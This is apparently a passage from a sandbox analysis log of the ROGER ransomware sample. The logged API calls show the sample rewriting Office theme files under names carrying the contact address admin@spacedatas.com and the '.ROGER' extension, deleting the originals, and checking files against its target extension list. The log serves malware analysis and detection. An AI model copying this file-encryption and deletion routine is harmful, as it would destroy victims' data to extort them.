lpNewFilePointer=0x0) returned 1 [0048.602] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0048.602] GetLastError () returned 0x0 [0048.602] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xaf32, lpOverlapped=0x0) returned 1 [0048.714] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0048.716] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.716] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.716] SetEndOfFile (hFile=0x3e0) returned 1 [0048.717] CloseHandle (hObject=0x3e0) returned 1 [0048.717] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.717] SetEndOfFile (hFile=0x340) returned 1 [0048.720] CloseHandle (hObject=0x340) returned 1 [0048.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.720] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.720] lstrlenW (lpString=".doc") returned 4 [0048.720] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.720] lstrlenW (lpString=".docx") returned 5 [0048.721] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.721] lstrlenW (lpString=".pdf") returned 4 [0048.721] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString=".xls") returned 4 [0048.721] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.721] lstrlenW (lpString=".xlsx") returned 5 [0048.721] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.721] lstrlenW (lpString=".ppt") returned 4 [0048.721] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString=".zip") returned 4 [0048.721] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.721] lstrlenW (lpString=".rar") returned 4 [0048.721] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.721] lstrlenW (lpString=".bz2") returned 4 [0048.721] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString=".7z") returned 3 [0048.721] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString=".dbf") returned 4 [0048.721] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString=".1cd") returned 4 [0048.721] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString=".jpg") returned 4 [0048.721] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.721] lstrlenW (lpString=".doc") returned 4 [0048.721] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.721] lstrlenW (lpString=".docx") returned 5 [0048.722] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.722] lstrlenW (lpString=".pdf") returned 4 [0048.722] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.722] lstrlenW (lpString=".xls") returned 4 [0048.722] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.722] lstrlenW (lpString=".xlsx") returned 5 [0048.722] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.722] lstrlenW (lpString=".ppt") returned 4 [0048.722] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.722] lstrlenW (lpString=".zip") returned 4 [0048.722] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.722] lstrlenW (lpString=".rar") returned 4 [0048.722] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.722] lstrlenW (lpString=".bz2") returned 4 [0048.722] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.722] lstrlenW (lpString=".7z") returned 3 [0048.722] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.722] lstrlenW (lpString=".dbf") returned 4 [0048.722] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.722] lstrlenW (lpString=".1cd") returned 4 [0048.722] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.722] lstrlenW (lpString=".jpg") returned 4 [0048.722] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.722] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.723] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.724] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=37112) returned 1 [0048.724] CloseHandle (hObject=0x340) returned 1 [0048.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0048.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.725] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.725] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0048.725] GetLastError () returned 0x0 [0048.725] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x90f8, lpOverlapped=0x0) returned 1 [0048.728] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x9100, lpOverlapped=0x0) returned 1 [0048.729] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.729] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.730] SetEndOfFile (hFile=0x3e0) returned 1 [0048.730] CloseHandle (hObject=0x3e0) returned 1 [0048.730] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.730] SetEndOfFile (hFile=0x340) returned 1 [0048.731] CloseHandle (hObject=0x340) returned 1 [0048.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.731] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.731] lstrlenW (lpString=".doc") returned 4 [0048.731] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.731] lstrlenW (lpString=".docx") returned 5 [0048.731] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.731] lstrlenW (lpString=".pdf") returned 4 [0048.731] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.731] lstrlenW (lpString=".xls") returned 4 [0048.731] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.732] lstrlenW (lpString=".xlsx") returned 5 [0048.732] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.732] lstrlenW (lpString=".ppt") returned 4 [0048.732] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString=".zip") returned 4 [0048.732] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.732] lstrlenW (lpString=".rar") returned 4 [0048.732] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.732] lstrlenW (lpString=".bz2") returned 4 [0048.732] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.732] lstrlenW (lpString=".7z") returned 3 [0048.732] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString=".dbf") returned 4 [0048.732] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString=".1cd") returned 4 [0048.732] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString=".jpg") returned 4 [0048.732] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.732] lstrlenW (lpString=".doc") returned 4 [0048.732] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.732] lstrlenW (lpString=".docx") returned 5 [0048.732] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.732] lstrlenW (lpString=".pdf") returned 4 [0048.732] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.733] lstrlenW (lpString=".xls") returned 4 [0048.733] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.733] lstrlenW (lpString=".xlsx") returned 5 [0048.733] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.733] lstrlenW (lpString=".ppt") returned 4 [0048.733] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.733] lstrlenW (lpString=".zip") returned 4 [0048.733] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.733] lstrlenW (lpString=".rar") returned 4 [0048.733] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.733] lstrlenW (lpString=".bz2") returned 4 [0048.733] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.733] lstrlenW (lpString=".7z") returned 3 [0048.733] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.733] lstrlenW (lpString=".dbf") returned 4 [0048.733] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.733] lstrlenW (lpString=".1cd") returned 4 [0048.733] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.733] lstrlenW (lpString=".jpg") returned 4 [0048.733] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.733] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.733] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.736] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1666) returned 1 [0048.737] CloseHandle (hObject=0x340) returned 1 [0048.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0048.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.737] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.737] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0048.739] GetLastError () returned 0x0 [0048.739] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x682, lpOverlapped=0x0) returned 1 [0048.740] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x690, lpOverlapped=0x0) returned 1 [0048.741] ReadFile (in: hFile=0x340, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.741] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.741] SetEndOfFile (hFile=0x3e0) returned 1 [0048.741] CloseHandle (hObject=0x3e0) returned 1 [0048.741] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.741] SetEndOfFile (hFile=0x340) returned 1 [0048.742] CloseHandle (hObject=0x340) returned 1 [0048.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.742] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString=".doc") returned 4 [0048.743] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString=".docx") returned 5 [0048.743] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.743] lstrlenW (lpString=".pdf") returned 4 [0048.743] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".xls") returned 4 [0048.743] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".xlsx") returned 5 [0048.743] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.743] lstrlenW (lpString=".ppt") returned 4 [0048.743] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString=".zip") returned 4 [0048.743] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".rar") returned 4 [0048.743] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.743] lstrlenW (lpString=".bz2") returned 4 [0048.743] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString=".7z") returned 3 [0048.743] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString=".dbf") returned 4 [0048.743] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString=".1cd") returned 4 [0048.743] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.743] lstrlenW (lpString=".jpg") returned 4 [0048.743] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString=".doc") returned 4 [0048.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.744] lstrlenW (lpString=".docx") returned 5 [0048.744] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.744] lstrlenW (lpString=".pdf") returned 4 [0048.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString=".xls") returned 4 [0048.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString=".xlsx") returned 5 [0048.744] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.744] lstrlenW (lpString=".ppt") returned 4 [0048.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString=".zip") returned 4 [0048.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString=".rar") returned 4 [0048.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.744] lstrlenW (lpString=".bz2") returned 4 [0048.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.744] lstrlenW (lpString=".7z") returned 3 [0048.744] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString=".dbf") returned 4 [0048.744] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString=".1cd") returned 4 [0048.744] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0048.744] lstrlenW (lpString=".jpg") returned 4 [0048.744] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.745] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.745] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.745] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=19563) returned 1 [0048.745] CloseHandle (hObject=0x340) returned 1 [0048.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0048.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.745] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.745] 